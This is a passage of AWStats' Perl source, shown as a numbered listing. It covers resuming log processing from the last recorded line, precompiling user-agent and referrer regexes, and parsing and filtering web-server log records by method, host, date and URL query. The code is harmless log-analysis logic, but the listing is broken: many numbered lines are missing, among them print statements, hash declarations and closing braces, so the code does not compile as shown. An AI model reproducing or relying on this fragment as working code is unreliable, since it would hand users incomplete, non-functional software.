my $rangestring = ( $2 || "" ) . ( $1 || "" ) . ( $3 || "" ) . ( $4 || "" );
17229
if ( $rangestring gt $lastdatebeforeupdate ) {
17231
# We are on a new max for mask
17232
$lastyearbeforeupdate = ( $2 || "" );
17233
$lastmonthbeforeupdate = ( $1 || "" );
17234
$lastdaybeforeupdate = ( $3 || "" );
17235
$lasthourbeforeupdate = ( $4 || "" );
17236
$lastdatebeforeupdate = $rangestring;
17241
# If at least one file found, get value for LastLine
17242
if ($lastyearbeforeupdate) {
17244
# Read 'general' section of last history file for LastLine
17245
&Read_History_With_TmpUpdate( $lastyearbeforeupdate, $lastmonthbeforeupdate,
17246
$lastdaybeforeupdate, $lasthourbeforeupdate, 0, 0, "general" );
17249
# Warning if lastline in future
17250
if ( $LastLine > ( $nowtime + 20000 ) ) {
17252
"WARNING: LastLine parameter in history file is '$LastLine' so in future. May be you need to correct manually the line LastLine in some awstats*.$SiteConfig.conf files."
17257
if ( $QueryString =~ /lastline=(\d{14})/i ) {
17262
"Last year=$lastyearbeforeupdate - Last month=$lastmonthbeforeupdate");
17263
debug("Last day=$lastdaybeforeupdate - Last hour=$lasthourbeforeupdate");
17264
debug("LastLine=$LastLine");
17265
debug("LastLineNumber=$LastLineNumber");
17266
debug("LastLineOffset=$LastLineOffset");
17267
debug("LastLineChecksum=$LastLineChecksum");
17273
#------------------------------------------
17275
#------------------------------------------
17276
my $lastlinenb = 0;
17277
my $lastlineoffset = 0;
17278
my $lastlineoffsetnext = 0;
17279
if ($Debug) { debug( "UpdateStats is $UpdateStats", 2 ); }
17280
if ( $UpdateStats && $FrameName ne 'index' && $FrameName ne 'mainleft' )
17281
{ # Update only on index page or when not framed to avoid update twice
17284
"Jan", "01", "jan", "01", "Feb", "02", "feb", "02", "Mar", "03",
17285
"mar", "03", "Apr", "04", "apr", "04", "May", "05", "may", "05",
17286
"Jun", "06", "jun", "06", "Jul", "07", "jul", "07", "Aug", "08",
17287
"aug", "08", "Sep", "09", "sep", "09", "Oct", "10", "oct", "10",
17288
"Nov", "11", "nov", "11", "Dec", "12", "dec", "12"
17290
; # MonthNum must be in english because used to translate log date in apache log files
17292
if ( !scalar keys %HTMLOutput ) {
17294
"Create/Update database for config \"$FileConfig\" by AWStats version $VERSION\n";
17295
print "From data in log file \"$LogFile\"...\n";
17298
my $lastprocessedyear = $lastyearbeforeupdate || 0;
17299
my $lastprocessedmonth = $lastmonthbeforeupdate || 0;
17300
my $lastprocessedday = $lastdaybeforeupdate || 0;
17301
my $lastprocessedhour = $lasthourbeforeupdate || 0;
17302
my $lastprocesseddate = '';
17303
if ( $DatabaseBreak eq 'month' ) {
17304
$lastprocesseddate =
17305
sprintf( "%04i%02i", $lastprocessedyear, $lastprocessedmonth );
17307
elsif ( $DatabaseBreak eq 'year' ) {
17308
$lastprocesseddate = sprintf( "%04i%", $lastprocessedyear );
17310
elsif ( $DatabaseBreak eq 'day' ) {
17311
$lastprocesseddate = sprintf( "%04i%02i%02i",
17312
$lastprocessedyear, $lastprocessedmonth, $lastprocessedday );
17314
elsif ( $DatabaseBreak eq 'hour' ) {
17315
$lastprocesseddate = sprintf(
17316
"%04i%02i%02i%02i",
17317
$lastprocessedyear, $lastprocessedmonth,
17318
$lastprocessedday, $lastprocessedhour
17324
# Init RobotsSearchIDOrder required for update process
17326
if ( $LevelForRobotsDetection >= 1 ) {
17327
foreach ( 1 .. $LevelForRobotsDetection ) { push @list, "list$_"; }
17328
push @list, "listgen"; # Always added
17330
foreach my $key (@list) {
17331
push @RobotsSearchIDOrder, @{"RobotsSearchIDOrder_$key"};
17335
. @{"RobotsSearchIDOrder_$key"}
17336
. " elements from RobotsSearchIDOrder_$key into RobotsSearchIDOrder",
17343
"RobotsSearchIDOrder has now " . @RobotsSearchIDOrder . " elements",
17348
# Init SearchEnginesIDOrder required for update process
17350
if ( $LevelForSearchEnginesDetection >= 1 ) {
17351
foreach ( 1 .. $LevelForSearchEnginesDetection ) {
17352
push @list, "list$_";
17354
push @list, "listgen"; # Always added
17356
foreach my $key (@list) {
17357
push @SearchEnginesSearchIDOrder, @{"SearchEnginesSearchIDOrder_$key"};
17361
. @{"SearchEnginesSearchIDOrder_$key"}
17362
. " elements from SearchEnginesSearchIDOrder_$key into SearchEnginesSearchIDOrder",
17369
"SearchEnginesSearchIDOrder has now "
17370
. @SearchEnginesSearchIDOrder
17376
# Complete HostAliases array
17377
my $sitetoanalyze = quotemeta( lc($SiteDomain) );
17378
if ( !@HostAliases ) {
17380
"Warning: HostAliases parameter is not defined, $PROG choose \"$SiteDomain localhost 127.0.0.1\"."
17382
push @HostAliases, qr/^$sitetoanalyze$/i;
17383
push @HostAliases, qr/^localhost$/i;
17384
push @HostAliases, qr/^127\.0\.0\.1$/i;
17387
unshift @HostAliases, qr/^$sitetoanalyze$/i;
17388
} # Add SiteDomain as first value
17391
@HostAliases = &OptimizeArray( \@HostAliases, 1 );
17393
debug( "HostAliases precompiled regex list is now @HostAliases", 1 );
17395
@SkipDNSLookupFor = &OptimizeArray( \@SkipDNSLookupFor, 1 );
17398
"SkipDNSLookupFor precompiled regex list is now @SkipDNSLookupFor",
17402
@SkipHosts = &OptimizeArray( \@SkipHosts, 1 );
17404
debug( "SkipHosts precompiled regex list is now @SkipHosts", 1 );
17406
@SkipReferrers = &OptimizeArray( \@SkipReferrers, 1 );
17408
debug( "SkipReferrers precompiled regex list is now @SkipReferrers",
17411
@SkipUserAgents = &OptimizeArray( \@SkipUserAgents, 1 );
17413
debug( "SkipUserAgents precompiled regex list is now @SkipUserAgents",
17416
@SkipFiles = &OptimizeArray( \@SkipFiles, $URLNotCaseSensitive );
17418
debug( "SkipFiles precompiled regex list is now @SkipFiles", 1 );
17420
@OnlyHosts = &OptimizeArray( \@OnlyHosts, 1 );
17422
debug( "OnlyHosts precompiled regex list is now @OnlyHosts", 1 );
17424
@OnlyUsers = &OptimizeArray( \@OnlyUsers, 1 );
17426
debug( "OnlyUsers precompiled regex list is now @OnlyUsers", 1 );
17428
@OnlyUserAgents = &OptimizeArray( \@OnlyUserAgents, 1 );
17430
debug( "OnlyUserAgents precompiled regex list is now @OnlyUserAgents",
17433
@OnlyFiles = &OptimizeArray( \@OnlyFiles, $URLNotCaseSensitive );
17435
debug( "OnlyFiles precompiled regex list is now @OnlyFiles", 1 );
17437
@NotPageFiles = &OptimizeArray( \@NotPageFiles, $URLNotCaseSensitive );
17439
debug( "NotPageFiles precompiled regex list is now @NotPageFiles", 1 );
17442
# Precompile the regex search strings with qr
17443
@RobotsSearchIDOrder = map { qr/$_/i } @RobotsSearchIDOrder;
17444
@WormsSearchIDOrder = map { qr/$_/i } @WormsSearchIDOrder;
17445
@BrowsersSearchIDOrder = map { qr/$_/i } @BrowsersSearchIDOrder;
17446
@OSSearchIDOrder = map { qr/$_/i } @OSSearchIDOrder;
17447
@SearchEnginesSearchIDOrder = map { qr/$_/i } @SearchEnginesSearchIDOrder;
17448
my $miscquoted = quotemeta("$MiscTrackerUrl");
17449
my $defquoted = quotemeta("/$DefaultFile[0]");
17450
my $sitewithoutwww = lc($SiteDomain);
17451
$sitewithoutwww =~ s/www\.//;
17452
$sitewithoutwww = quotemeta($sitewithoutwww);
17454
# Define precompiled regex
17455
my $regmisc = qr/^$miscquoted/;
17456
my $regfavico = qr/\/favicon\.ico$/i;
17457
my $regrobot = qr/\/robots\.txt$/i;
17458
my $regtruncanchor = qr/#(\w*)$/;
17459
my $regtruncurl = qr/([$URLQuerySeparators])(.*)$/;
17460
my $regext = qr/\.(\w{1,6})$/;
17462
if ($URLNotCaseSensitive) { $regdefault = qr/$defquoted$/i; }
17463
else { $regdefault = qr/$defquoted$/; }
17464
my $regipv4 = qr/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/;
17465
my $regipv4l = qr/^::ffff:\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/;
17466
my $regipv6 = qr/^[0-9A-F]*:/i;
17467
my $regvermsie = qr/msie([+_ ]|)([\d\.]*)/i;
17468
my $regvernetscape = qr/netscape.?\/([\d\.]*)/i;
17469
my $regverfirefox = qr/firefox\/([\d\.]*)/i;
17470
my $regveropera = qr/opera\/([\d\.]*)/i;
17471
my $regversafari = qr/safari\/([\d\.]*)/i;
17472
my $regversafariver = qr/version\/([\d\.]*)/i;
17473
my $regverchrome = qr/chrome\/([\d\.]*)/i;
17474
my $regverkonqueror = qr/konqueror\/([\d\.]*)/i;
17475
my $regversvn = qr/svn\/([\d\.]*)/i;
17476
my $regvermozilla = qr/mozilla(\/|)([\d\.]*)/i;
17477
my $regnotie = qr/webtv|omniweb|opera/i;
17478
my $regnotnetscape = qr/gecko|compatible|opera|galeon|safari|charon/i;
17479
my $regnotfirefox = qr/flock/i;
17480
my $regnotsafari = qr/android|arora|chrome|shiira/i;
17481
my $regreferer = qr/^(\w+):\/\/([^\/:]+)(:\d+|)/;
17482
my $regreferernoquery = qr/^([^$URLQuerySeparators]+)/;
17483
my $reglocal = qr/^(www\.|)$sitewithoutwww/i;
17484
my $regget = qr/get|out/i;
17485
my $regsent = qr/sent|put|in/i;
17487
# Define value of $pos_xxx, @fieldlib, $PerlParsingFormat
17488
&DefinePerlParsingFormat($LogFormat);
17490
# Load DNS Cache Files
17491
#------------------------------------------
17493
&Read_DNS_Cache( \%MyDNSTable, "$DNSStaticCacheFile", "", 1 )
17494
; # Load with save into a second plugin file if plugin enabled and second file not up to date. No use of FileSuffix
17495
if ( $DNSLookup == 1 ) { # System DNS lookup required
17496
#if (! eval("use Socket;")) { error("Failed to load perl module Socket."); }
17498
&Read_DNS_Cache( \%TmpDNSLookup, "$DNSLastUpdateCacheFile",
17500
; # Load with no save into a second plugin file. Use FileSuffix
17505
#------------------------------------------
17507
if ($EnableLockForUpdate) {
17509
# Trap signals to remove lock
17510
$SIG{INT} = \&SigHandler; # 2
17511
#$SIG{KILL} = \&SigHandler; # 9
17512
#$SIG{TERM} = \&SigHandler; # 15
17513
# Set AWStats update lock
17518
debug("Start Update process (lastprocesseddate=$lastprocesseddate)");
17522
if ($Debug) { debug("Open log file \"$LogFile\""); }
17523
open( LOG, "$LogFile" )
17524
|| error("Couldn't open server log file \"$LogFile\" : $!");
17526
; # Avoid premature EOF due to log files corrupted with \cZ or bin chars
17528
# Define local variables for loop scan
17530
my $counterforflushtest = 0;
17531
my $qualifdrop = '';
17532
my $countedtraffic = 0;
17534
# Reset chrono for benchmark (first call to GetDelaySinceStart)
17535
&GetDelaySinceStart(1);
17536
if ( !scalar keys %HTMLOutput ) {
17537
print "Phase 1 : First bypass old records, searching new record...\n";
17540
# Can we try a direct seek access in log ?
17542
if ( $LastLine && $LastLineNumber && $LastLineOffset && $LastLineChecksum )
17545
# Try a direct seek access to save time
17548
"Try a direct access to LastLine=$LastLine, LastLineNumber=$LastLineNumber, LastLineOffset=$LastLineOffset, LastLineChecksum=$LastLineChecksum"
17551
seek( LOG, $LastLineOffset, 0 );
17552
if ( $line = <LOG> ) {
17555
@field = map( /$PerlParsingFormat/, $line );
17558
foreach ( 0 .. @field - 1 ) {
17559
$string .= "$fieldlib[$_]=$field[$_] ";
17562
debug( " Read line after direct access: $string", 1 );
17565
my $checksum = &CheckSum($line);
17568
" LastLineChecksum=$LastLineChecksum, Read line checksum=$checksum",
17572
if ( $checksum == $LastLineChecksum ) {
17573
if ( !scalar keys %HTMLOutput ) {
17575
"Direct access after last parsed record (after line $LastLineNumber)\n";
17577
$lastlinenb = $LastLineNumber;
17578
$lastlineoffset = $LastLineOffset;
17579
$lastlineoffsetnext = tell LOG;
17583
if ( !scalar keys %HTMLOutput ) {
17585
"Direct access to last remembered record has fallen on another record.\nSo searching new records from beginning of log file...\n";
17588
$lastlineoffset = 0;
17589
$lastlineoffsetnext = 0;
17594
if ( !scalar keys %HTMLOutput ) {
17596
"Direct access to last remembered record is out of file.\nSo searching it from beginning of log file...\n";
17599
$lastlineoffset = 0;
17600
$lastlineoffsetnext = 0;
17606
# No try of direct seek access
17607
if ( !scalar keys %HTMLOutput ) {
17608
print "Searching new records from beginning of log file...\n";
17611
$lastlineoffset = 0;
17612
$lastlineoffsetnext = 0;
17616
# Loop on each log line
17618
while ( $line = <LOG> ) {
17620
# 20080525 BEGIN Patch to test if first char of $line = hex "00" then conclude corrupted with binary code
17622
$FirstHexChar = sprintf( "%02X", ord( substr( $line, 0, 1 ) ) );
17623
if ( $FirstHexChar eq '00' ) {
17624
$NbOfLinesCorrupted++;
17625
if ($ShowCorrupted) {
17626
print "Corrupted record line "
17627
. ( $lastlinenb + $NbOfLinesParsed )
17628
. " (record starts with hex 00; binary code): $line\n";
17630
if ( $NbOfLinesParsed >= $NbOfLinesForCorruptedLog
17631
&& $NbOfLinesParsed == $NbOfLinesCorrupted )
17633
error( "Format error", $line, $LogFile );
17634
} # Exit with format error
17641
if ( $UpdateFor && $NbOfLinesParsed >= $UpdateFor ) { last; }
17642
$NbOfLinesParsed++;
17644
$lastlineoffset = $lastlineoffsetnext;
17645
$lastlineoffsetnext = tell LOG;
17648
if ( ( ++$NbOfLinesShowsteps & $NBOFLINESFORBENCHMARK ) == 0 ) {
17649
my $delay = &GetDelaySinceStart(0);
17650
print "$NbOfLinesParsed lines processed ("
17651
. ( $delay > 0 ? $delay : 1000 ) . " ms, "
17653
1000 * $NbOfLinesShowsteps / ( $delay > 0 ? $delay : 1000 )
17655
. " lines/second)\n";
17659
if ( $LogFormat eq '2' && $line =~ /^#Fields:/ ) {
17660
my @fixField = map( /^#Fields: (.*)/, $line );
17661
if ( $fixField[0] !~ /s-kernel-time/ ) {
17662
debug( "Found new log format: '" . $fixField[0] . "'", 1 );
17663
&DefinePerlParsingFormat( $fixField[0] );
17667
# Parse line record to get all required fields
17668
if ( !( @field = map( /$PerlParsingFormat/, $line ) ) ) {
17669
# see if the line is a comment, blank or corrupted
17670
if ( $line =~ /^#/ || $line =~ /^!/ ) {
17671
$NbOfLinesComment++;
17672
if ($ShowCorrupted){
17673
print "Comment record line "
17674
. ( $lastlinenb + $NbOfLinesParsed )
17678
elsif ( $line =~ /^\s*$/ ) {
17680
if ($ShowCorrupted){
17681
print "Blank record line "
17682
. ( $lastlinenb + $NbOfLinesParsed )
17686
$NbOfLinesCorrupted++;
17687
if ($ShowCorrupted){
17688
print "Corrupted record line "
17689
. ( $lastlinenb + $NbOfLinesParsed )
17690
. " (record format does not match LogFormat parameter): $line\n";
17693
if ( $NbOfLinesParsed >= $NbOfLinesForCorruptedLog
17694
&& $NbOfLinesParsed == ($NbOfLinesCorrupted + $NbOfLinesComment + $NbOfLinesBlank))
17696
error( "Format error", $line, $LogFile );
17697
} # Exit with format error
17698
if ( $line =~ /^__end_of_file__/i ) { last; } # For test purpose only
17704
foreach ( 0 .. @field - 1 ) {
17705
$string .= "$fieldlib[$_]=$field[$_] ";
17709
" Correct format line "
17710
. ( $lastlinenb + $NbOfLinesParsed )
17717
# Drop wrong virtual host name
17718
#----------------------------------------------------------------------
17719
if ( $pos_vh >= 0 && $field[$pos_vh] !~ /^$SiteDomain$/i ) {
17721
foreach (@HostAliases) {
17722
if ( $field[$pos_vh] =~ /$_/ ) { $skip = 0; last; }
17725
$NbOfLinesDropped++;
17726
if ($ShowDropped) {
17728
"Dropped record (virtual hostname '$field[$pos_vh]' does not match SiteDomain='$SiteDomain' nor HostAliases parameters): $line\n";
17734
# Drop wrong method/protocol
17735
#---------------------------
17736
if ( $LogType ne 'M' ) { $field[$pos_url] =~ s/\s/%20/g; }
17740
$field[$pos_method] eq 'GET'
17741
|| $field[$pos_method] eq 'POST'
17742
|| $field[$pos_method] eq 'HEAD'
17743
|| $field[$pos_method] eq 'PROPFIND'
17744
|| $field[$pos_method] eq 'CHECKOUT'
17745
|| $field[$pos_method] eq 'LOCK'
17746
|| $field[$pos_method] eq 'PROPPATCH'
17747
|| $field[$pos_method] eq 'OPTIONS'
17748
|| $field[$pos_method] eq 'MKACTIVITY'
17749
|| $field[$pos_method] eq 'PUT'
17750
|| $field[$pos_method] eq 'MERGE'
17751
|| $field[$pos_method] eq 'DELETE'
17752
|| $field[$pos_method] eq 'REPORT'
17753
|| $field[$pos_method] eq 'MKCOL'
17754
|| $field[$pos_method] eq 'COPY'
17755
|| $field[$pos_method] eq 'RPC_IN_DATA'
17756
|| $field[$pos_method] eq 'RPC_OUT_DATA'
17757
|| $field[$pos_method] eq 'OK' # Webstar
17758
|| $field[$pos_method] eq 'ERR!' # Webstar
17759
|| $field[$pos_method] eq 'PRIV' # Webstar
17764
# HTTP request. Keep only GET, POST, HEAD, *OK* and ERR! for Webstar. Do not keep OPTIONS, TRACE
17767
( $LogType eq 'W' || $LogType eq 'S' )
17768
&& ( uc($field[$pos_method]) eq 'GET'
17769
|| uc($field[$pos_method]) eq 'MMS'
17770
|| uc($field[$pos_method]) eq 'RTSP'
17771
|| uc($field[$pos_method]) eq 'HTTP'
17772
|| uc($field[$pos_method]) eq 'RTP' )
17776
# Streaming request (windows media server, realmedia or darwin streaming server)
17778
elsif ( $LogType eq 'M' && $field[$pos_method] eq 'SMTP' ) {
17780
# Mail request ('SMTP' for mail log with maillogconvert.pl preprocessor)
17784
&& ( $field[$pos_method] eq 'RETR'
17785
|| $field[$pos_method] eq 'o'
17786
|| $field[$pos_method] =~ /$regget/o )
17794
&& ( $field[$pos_method] eq 'STOR'
17795
|| $field[$pos_method] eq 'i'
17796
|| $field[$pos_method] =~ /$regsent/o )
17802
elsif($line =~ m/#Fields:/){
17803
# log #fields as comment
17804
$NbOfLinesComment++;
17807
$NbOfLinesDropped++;
17808
if ($ShowDropped) {
17810
"Dropped record (method/protocol '$field[$pos_method]' not qualified when LogType=$LogType): $line\n";
17815
$field[$pos_date] =~
17816
tr/,-\/ \t/:::::/s; # " \t" is used instead of "\s" not known with tr
17818
split( /:/, $field[$pos_date] )
17819
; # tr and split faster than @dateparts=split(/[\/\-:\s]/,$field[$pos_date])
17820
# Detected date format: dddddddddd, YYYY-MM-DD HH:MM:SS (IIS), MM/DD/YY\tHH:MM:SS,
17821
# DD/Month/YYYY:HH:MM:SS (Apache), DD/MM/YYYY HH:MM:SS, Mon DD HH:MM:SS
17822
if ( !$dateparts[1] ) { # Unix timestamp
17824
$dateparts[5], $dateparts[4], $dateparts[3],
17825
$dateparts[0], $dateparts[1], $dateparts[2]
17827
= localtime( int( $field[$pos_date] ) );
17829
$dateparts[2] += 1900;
17831
elsif ( $dateparts[0] =~ /^....$/ ) {
17832
my $tmp = $dateparts[0];
17833
$dateparts[0] = $dateparts[2];
17834
$dateparts[2] = $tmp;
17836
elsif ( $field[$pos_date] =~ /^..:..:..:/ ) {
17837
$dateparts[2] += 2000;
17838
my $tmp = $dateparts[0];
17839
$dateparts[0] = $dateparts[1];
17840
$dateparts[1] = $tmp;
17842
elsif ( $dateparts[0] =~ /^...$/ ) {
17843
my $tmp = $dateparts[0];
17844
$dateparts[0] = $dateparts[1];
17845
$dateparts[1] = $tmp;
17846
$tmp = $dateparts[5];
17847
$dateparts[5] = $dateparts[4];
17848
$dateparts[4] = $dateparts[3];
17849
$dateparts[3] = $dateparts[2];
17850
$dateparts[2] = $tmp || $nowyear;
17852
if ( exists( $MonthNum{ $dateparts[1] } ) ) {
17853
$dateparts[1] = $MonthNum{ $dateparts[1] };
17854
} # Change lib month in num month if necessary
17855
if ( $dateparts[1] <= 0 )
17856
{ # Date corrupted (for example $dateparts[1]='dic' for december month in a spanish log file)
17857
$NbOfLinesCorrupted++;
17858
if ($ShowCorrupted) {
17859
print "Corrupted record line "
17860
. ( $lastlinenb + $NbOfLinesParsed )
17861
. " (bad date format for month, may be month are not in english ?): $line\n";
17866
# Now @dateparts is (DD,MM,YYYY,HH,MM,SS) and we're going to create $timerecord=YYYYMMDDHHMMSS
17867
if ( $PluginsLoaded{'ChangeTime'}{'timezone'} ) {
17868
@dateparts = ChangeTime_timezone( \@dateparts );
17870
my $yearrecord = int( $dateparts[2] );
17871
my $monthrecord = int( $dateparts[1] );
17872
my $dayrecord = int( $dateparts[0] );
17873
my $hourrecord = int( $dateparts[3] );
17874
my $daterecord = '';
17875
if ( $DatabaseBreak eq 'month' ) {
17876
$daterecord = sprintf( "%04i%02i", $yearrecord, $monthrecord );
17878
elsif ( $DatabaseBreak eq 'year' ) {
17879
$daterecord = sprintf( "%04i%", $yearrecord );
17881
elsif ( $DatabaseBreak eq 'day' ) {
17883
sprintf( "%04i%02i%02i", $yearrecord, $monthrecord, $dayrecord );
17885
elsif ( $DatabaseBreak eq 'hour' ) {
17886
$daterecord = sprintf( "%04i%02i%02i%02i",
17887
$yearrecord, $monthrecord, $dayrecord, $hourrecord );
17890
# TODO essayer de virer yearmonthrecord
17891
my $yearmonthdayrecord =
17892
sprintf( "$dateparts[2]%02i%02i", $dateparts[1], $dateparts[0] );
17894
( ( int("$yearmonthdayrecord") * 100 + $dateparts[3] ) * 100 +
17895
$dateparts[4] ) * 100 + $dateparts[5];
17898
#-----------------------
17899
if ( $LogType eq 'M' && $timerecord > $tomorrowtime ) {
17901
# Postfix/Sendmail does not store year, so we assume that year is year-1 if record is in future
17903
if ( $DatabaseBreak eq 'month' ) {
17904
$daterecord = sprintf( "%04i%02i", $yearrecord, $monthrecord );
17906
elsif ( $DatabaseBreak eq 'year' ) {
17907
$daterecord = sprintf( "%04i%", $yearrecord );
17909
elsif ( $DatabaseBreak eq 'day' ) {
17910
$daterecord = sprintf( "%04i%02i%02i",
17911
$yearrecord, $monthrecord, $dayrecord );
17913
elsif ( $DatabaseBreak eq 'hour' ) {
17914
$daterecord = sprintf( "%04i%02i%02i%02i",
17915
$yearrecord, $monthrecord, $dayrecord, $hourrecord );
17918
# TODO essayer de virer yearmonthrecord
17919
$yearmonthdayrecord =
17920
sprintf( "$yearrecord%02i%02i", $dateparts[1], $dateparts[0] );
17922
( ( int("$yearmonthdayrecord") * 100 + $dateparts[3] ) * 100 +
17923
$dateparts[4] ) * 100 + $dateparts[5];
17925
if ( $timerecord < 10000000000000 || $timerecord > $tomorrowtime ) {
17926
$NbOfLinesCorrupted++;
17927
if ($ShowCorrupted) {
17929
"Corrupted record (invalid date, timerecord=$timerecord): $line\n";
17931
next; # Should not happen, kept in case of parasite/corrupted line
17933
if ($NewLinePhase) {
17935
# TODO NOTSORTEDRECORDTOLERANCE does not work around midnight
17936
if ( $timerecord < ( $LastLine - $NOTSORTEDRECORDTOLERANCE ) ) {
17938
# Should not happen, kept in case of parasite/corrupted old line
17939
$NbOfLinesCorrupted++;
17940
if ($ShowCorrupted) {
17942
"Corrupted record (date $timerecord lower than $LastLine-$NOTSORTEDRECORDTOLERANCE): $line\n";
17948
if ( $timerecord <= $LastLine ) { # Already processed
17953
# We found a new line. This will replace comparison "<=" with "<" between timerecord and LastLine (we should have only new lines now)
17954
$NewLinePhase = 1; # We will never enter here again
17956
if ( $NbOfLinesShowsteps > 1
17957
&& ( $NbOfLinesShowsteps & $NBOFLINESFORBENCHMARK ) )
17959
my $delay = &GetDelaySinceStart(0);
17961
. ( $NbOfLinesParsed - 1 )
17962
. " lines processed ("
17963
. ( $delay > 0 ? $delay : 1000 ) . " ms, "
17964
. int( 1000 * ( $NbOfLinesShowsteps - 1 ) /
17965
( $delay > 0 ? $delay : 1000 ) )
17966
. " lines/second)\n";
17968
&GetDelaySinceStart(1);
17969
$NbOfLinesShowsteps = 1;
17971
if ( !scalar keys %HTMLOutput ) {
17973
"Phase 2 : Now process new records (Flush history on disk after "
17974
. ( $LIMITFLUSH << 2 )
17977
#print "Phase 2 : Now process new records (Flush history on disk after ".($LIMITFLUSH<<2)." hosts or ".($LIMITFLUSH)." URLs)...\n";
17981
# Convert URL for Webstar to common URL
17982
if ( $LogFormat eq '3' ) {
17983
$field[$pos_url] =~ s/:/\//g;
17984
if ( $field[$pos_code] eq '-' ) { $field[$pos_code] = '200'; }
17987
# Here, field array, timerecord and yearmonthdayrecord are initialized for log record
17989
debug( " This is a not already processed record ($timerecord)",
17993
# We found a new line
17994
#----------------------------------------
17995
if ( $timerecord > $LastLine ) {
17996
$LastLine = $timerecord;
17997
} # Test should always be true except with not sorted log files
17999
# Skip for some client host IP addresses, some URLs, other URLs
18002
&& ( &SkipHost( $field[$pos_host] )
18003
|| ( $pos_hostr && &SkipHost( $field[$pos_hostr] ) ) )
18007
"Dropped record (host $field[$pos_host]"
18008
. ( $pos_hostr ? " and $field[$pos_hostr]" : "" )
18009
. " not qualified by SkipHosts)";
18011
elsif ( @SkipFiles && &SkipFile( $field[$pos_url] ) ) {
18013
"Dropped record (URL $field[$pos_url] not qualified by SkipFiles)";
18015
elsif (@SkipUserAgents
18017
&& &SkipUserAgent( $field[$pos_agent] ) )
18020
"Dropped record (user agent '$field[$pos_agent]' not qualified by SkipUserAgents)";
18022
elsif (@SkipReferrers
18023
&& $pos_referer >= 0
18024
&& &SkipReferrer( $field[$pos_referer] ) )
18027
"Dropped record (URL $field[$pos_referer] not qualified by SkipReferrers)";
18030
&& !&OnlyHost( $field[$pos_host] )
18031
&& ( !$pos_hostr || !&OnlyHost( $field[$pos_hostr] ) ) )
18034
"Dropped record (host $field[$pos_host]"
18035
. ( $pos_hostr ? " and $field[$pos_hostr]" : "" )
18036
. " not qualified by OnlyHosts)";
18038
elsif ( @OnlyUsers && !&OnlyUser( $field[$pos_logname] ) ) {
18040
"Dropped record (URL $field[$pos_logname] not qualified by OnlyUsers)";
18042
elsif ( @OnlyFiles && !&OnlyFile( $field[$pos_url] ) ) {
18044
"Dropped record (URL $field[$pos_url] not qualified by OnlyFiles)";
18046
elsif ( @OnlyUserAgents && !&OnlyUserAgent( $field[$pos_agent] ) ) {
18048
"Dropped record (user agent '$field[$pos_agent]' not qualified by OnlyUserAgents)";
18051
$NbOfLinesDropped++;
18052
if ($Debug) { debug( "$qualifdrop: $line", 4 ); }
18053
if ($ShowDropped) { print "$qualifdrop: $line\n"; }
18058
# Record is approved
18059
#-------------------
18061
# Is it in a new break section ?
18062
#-------------------------------
18063
if ( $daterecord > $lastprocesseddate ) {
18065
# A new break to process
18066
if ( $lastprocesseddate > 0 ) {
18068
# We save data of previous break
18069
&Read_History_With_TmpUpdate(
18070
$lastprocessedyear, $lastprocessedmonth,
18071
$lastprocessedday, $lastprocessedhour,
18073
"all", ( $lastlinenb + $NbOfLinesParsed ),
18074
$lastlineoffset, &CheckSum($line)
18076
$counterforflushtest = 0; # We reset counterforflushtest
18078
$lastprocessedyear = $yearrecord;
18079
$lastprocessedmonth = $monthrecord;
18080
$lastprocessedday = $dayrecord;
18081
$lastprocessedhour = $hourrecord;
18082
if ( $DatabaseBreak eq 'month' ) {
18083
$lastprocesseddate =
18084
sprintf( "%04i%02i", $yearrecord, $monthrecord );
18086
elsif ( $DatabaseBreak eq 'year' ) {
18087
$lastprocesseddate = sprintf( "%04i%", $yearrecord );
18089
elsif ( $DatabaseBreak eq 'day' ) {
18090
$lastprocesseddate = sprintf( "%04i%02i%02i",
18091
$yearrecord, $monthrecord, $dayrecord );
18093
elsif ( $DatabaseBreak eq 'hour' ) {
18094
$lastprocesseddate = sprintf( "%04i%02i%02i%02i",
18095
$yearrecord, $monthrecord, $dayrecord, $hourrecord );
18099
$countedtraffic = 0;
18102
# Convert $field[$pos_size]
18103
# if ($field[$pos_size] eq '-') { $field[$pos_size]=0; }
18105
# Define a clean target URL and referrer URL
18106
# We keep a clean $field[$pos_url] and
18107
# we store original value for urlwithnoquery, tokenquery and standalonequery
18108
#---------------------------------------------------------------------------
18109
if ($URLNotCaseSensitive) { $field[$pos_url] = lc( $field[$pos_url] ); }
18111
# Possible URL syntax for $field[$pos_url]: /mydir/mypage.ext?param1=x¶m2=y#aaa, /mydir/mypage.ext#aaa, /
18112
my $urlwithnoquery;
18114
my $standalonequery;
18116
if ( $field[$pos_url] =~ s/$regtruncanchor//o ) {
18118
} # Remove and save anchor
18119
if ($URLWithQuery) {
18120
$urlwithnoquery = $field[$pos_url];
18121
my $foundparam = ( $urlwithnoquery =~ s/$regtruncurl//o );
18122
$tokenquery = $1 || '';
18123
$standalonequery = $2 || '';
18125
# For IIS setup, if pos_query is enabled we need to combine the URL to query strings
18128
&& $field[$pos_query]
18129
&& $field[$pos_query] ne '-' )
18133
$standalonequery = $field[$pos_query];
18136
$field[$pos_url] .= '?' . $field[$pos_query];
18140
# Keep only params that are defined in URLWithQueryWithOnlyFollowingParameters
18141
my $newstandalonequery = '';
18142
if (@URLWithQueryWithOnly) {
18143
foreach (@URLWithQueryWithOnly) {
18144
foreach my $p ( split( /&/, $standalonequery ) ) {
18145
if ($URLNotCaseSensitive) {
18146
if ( $p =~ /^$_=/i ) {
18147
$newstandalonequery .= "$p&";
18152
if ( $p =~ /^$_=/ ) {
18153
$newstandalonequery .= "$p&";
18159
chop $newstandalonequery;
18162
# Remove params that are marked to be ignored in URLWithQueryWithoutFollowingParameters
18163
elsif (@URLWithQueryWithout) {
18164
foreach my $p ( split( /&/, $standalonequery ) ) {
18166
foreach (@URLWithQueryWithout) {
18168
#if ($Debug) { debug(" Check if '$_=' is param '$p' to remove it from query",5); }
18169
if ($URLNotCaseSensitive) {
18170
if ( $p =~ /^$_=/i ) { $found = 1; last; }
18173
if ( $p =~ /^$_=/ ) { $found = 1; last; }
18176
if ( !$found ) { $newstandalonequery .= "$p&"; }
18178
chop $newstandalonequery;
18180
else { $newstandalonequery = $standalonequery; }
18183
$field[$pos_url] = $urlwithnoquery;
18184
if ($newstandalonequery) {
18185
$field[$pos_url] .= "$tokenquery$newstandalonequery";
18191
# Trunc parameters of URL
18192
$field[$pos_url] =~ s/$regtruncurl//o;
18193
$urlwithnoquery = $field[$pos_url];
18194
$tokenquery = $1 || '';
18195
